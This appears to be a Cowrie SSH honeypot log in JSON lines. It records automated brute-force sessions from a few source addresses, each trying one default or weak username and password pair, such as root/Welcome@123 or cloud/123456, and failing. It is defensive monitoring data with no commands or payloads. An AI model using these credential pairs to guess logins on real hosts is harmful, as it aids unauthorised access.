{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24820,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2333ec55543","protocol":"ssh","message":"New connection: 141.11.88.14:24820 (10.17.0.5:22) [session: c2333ec55543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:43.628420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:43.702800Z","src_ip":"141.11.88.14","session":"c2333ec55543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:43.769929Z","src_ip":"141.11.88.14","session":"c2333ec55543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:44.213288Z","src_ip":"141.11.88.14","session":"c2333ec55543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:45.390117Z","src_ip":"141.11.88.14","session":"c2333ec55543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49484,"dst_ip":"10.17.0.5","dst_port":22,"session":"0715aa5bb1c2","protocol":"ssh","message":"New connection: 141.11.88.14:49484 (10.17.0.5:22) [session: 0715aa5bb1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:50.061467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:50.283348Z","src_ip":"141.11.88.14","session":"0715aa5bb1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:50.287075Z","src_ip":"141.11.88.14","session":"0715aa5bb1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:51.681865Z","src_ip":"141.11.88.14","session":"0715aa5bb1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:52.944425Z","src_ip":"141.11.88.14","session":"0715aa5bb1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15938,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0f05f585d9","protocol":"ssh","message":"New connection: 141.11.88.14:15938 (10.17.0.5:22) [session: db0f05f585d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:58.231592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:58.317616Z","src_ip":"141.11.88.14","session":"db0f05f585d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:58.320994Z","src_ip":"141.11.88.14","session":"db0f05f585d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dstserver","password":"dstserver","message":"login attempt [dstserver/dstserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:00:59.286423Z","src_ip":"141.11.88.14","session":"db0f05f585d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:00.438599Z","src_ip":"141.11.88.14","session":"db0f05f585d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15980,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48f5ba6ae71","protocol":"ssh","message":"New connection: 141.11.88.14:15980 (10.17.0.5:22) [session: f48f5ba6ae71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:04.115298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:04.308732Z","src_ip":"141.11.88.14","session":"f48f5ba6ae71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:04.313130Z","src_ip":"141.11.88.14","session":"f48f5ba6ae71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":59680,"dst_ip":"159.203.135.109","dst_port":22,"session":"07c53d338cff","protocol":"ssh","message":"New connection: 89.223.69.22:59680 (159.203.135.109:22) [session: 07c53d338cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:07.348202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:07.353224Z","src_ip":"89.223.69.22","session":"07c53d338cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:07.467897Z","src_ip":"89.223.69.22","session":"07c53d338cff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:07.608965Z","src_ip":"141.11.88.14","session":"f48f5ba6ae71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09071985","message":"login attempt [root/09071985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:07.814511Z","src_ip":"89.223.69.22","session":"07c53d338cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:08.932241Z","src_ip":"89.223.69.22","session":"07c53d338cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:09.168294Z","src_ip":"141.11.88.14","session":"f48f5ba6ae71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65116,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d6d413945e5","protocol":"ssh","message":"New connection: 141.11.88.14:65116 (10.17.0.5:22) [session: 5d6d413945e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:10.716018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:11.084676Z","src_ip":"141.11.88.14","session":"5d6d413945e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:11.089103Z","src_ip":"141.11.88.14","session":"5d6d413945e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123456","message":"login attempt [cloud/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:13.359923Z","src_ip":"141.11.88.14","session":"5d6d413945e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:15.155349Z","src_ip":"141.11.88.14","session":"5d6d413945e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65184,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7978a871608","protocol":"ssh","message":"New connection: 141.11.88.14:65184 (10.17.0.5:22) [session: e7978a871608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:17.205491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:17.367677Z","src_ip":"141.11.88.14","session":"e7978a871608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:17.371816Z","src_ip":"141.11.88.14","session":"e7978a871608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"andrew","message":"login attempt [andrew/andrew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:19.259469Z","src_ip":"141.11.88.14","session":"e7978a871608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:20.384863Z","src_ip":"141.11.88.14","session":"e7978a871608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60596,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63f1ac08571","protocol":"ssh","message":"New connection: 141.11.88.14:60596 (10.17.0.5:22) [session: d63f1ac08571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:24.663309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:24.755142Z","src_ip":"141.11.88.14","session":"d63f1ac08571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:24.758920Z","src_ip":"141.11.88.14","session":"d63f1ac08571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"benjamin","message":"login attempt [benjamin/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:25.567241Z","src_ip":"141.11.88.14","session":"d63f1ac08571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:26.876552Z","src_ip":"141.11.88.14","session":"d63f1ac08571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d665a93d4e4","protocol":"ssh","message":"New connection: 141.11.88.14:19998 (10.17.0.5:22) [session: 7d665a93d4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:30.105157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:30.877019Z","src_ip":"141.11.88.14","session":"7d665a93d4e4","protocol":"ssh"}
